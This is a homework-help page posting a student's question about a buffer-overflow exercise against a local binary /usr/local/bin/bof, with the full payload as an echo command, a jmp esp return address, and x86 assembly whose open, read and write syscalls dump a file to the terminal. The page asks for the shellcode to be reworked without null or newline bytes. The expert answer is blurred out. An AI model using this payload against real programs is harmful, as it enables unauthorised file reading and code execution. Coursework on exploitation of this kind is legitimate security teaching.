Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

Please modify the shellcode below. Remove any null bytes (0x00) Remove any newline bytes (0x0a) Reduce the size as much as possible Must include: -

Please modify the shellcode below. Remove any null bytes (0x00) Remove any newline bytes (0x0a) Reduce the size as much as possible

Must include:

- Modified shellcode (both raw bytes and assembly instructions). - A brief description. Your shellcode size, and what techniques you used to make it so. - A screenshot proving that it works.

Shellcode:

; [16 bytes buffer] [4 bytes ebp] [4 bytes return] [... bytes shellcode]

; jmp esp @ 0x08048526 (\x26\x85\x040x08)

; filename @ 0x08049b12 (0x08049af4 + 30)

; echo -en "AAAAAAAAAAAAAAAABBBB\x26\x85\x04\x08\xB8\x05\x00\x00\x00\xBB\x12\x9B\x04\x08\xB9\x00\x00\x00\x00\xBA\x00\x00\x00\x00\xCD\x80\x89\xC3\xB8\x03\x00\x00\x00\xB9\x12\x9B\x04\x08\xBA\x1E\x00\x00\x00\xCD\x80\xB8\x04\x00\x00\x00\xBB\x01\x00\x00\x00\xB9\x12\x9B\x04\x08\xBA\x1E\x00\x00\x00\xCD\x80" > input

; /usr/local/bin/bof < input

; Currently this shellcode is 63 bytes, and contains NULLs (0x00).

; sys_open file

mov eax, 5

mov ebx, 0x08049b12

mov ecx, 0

mov edx, 0

int 0x80

; sys_read from file into memory

mov ebx, eax

mov eax, 3

mov ecx, 0x08049b12

mov edx, 99

int 0x80

; sys_write memory to terminal

mov eax, 4

mov ebx, 1

mov ecx, 0x08049b12

mov edx, 99

int 0x80

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image_2

Step: 3

blur-text-image_3

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Database Management Systems Designing And Building Business Applications

Authors: Gerald V. Post

1st Edition

0072898933, 978-0072898934

More Books

Students also viewed these Databases questions

Question

15. What role does power play in determining our cultural spaces?

Answered: 1 week ago

Question

=+you think is being taxed when more money is printed? Why?

Answered: 1 week ago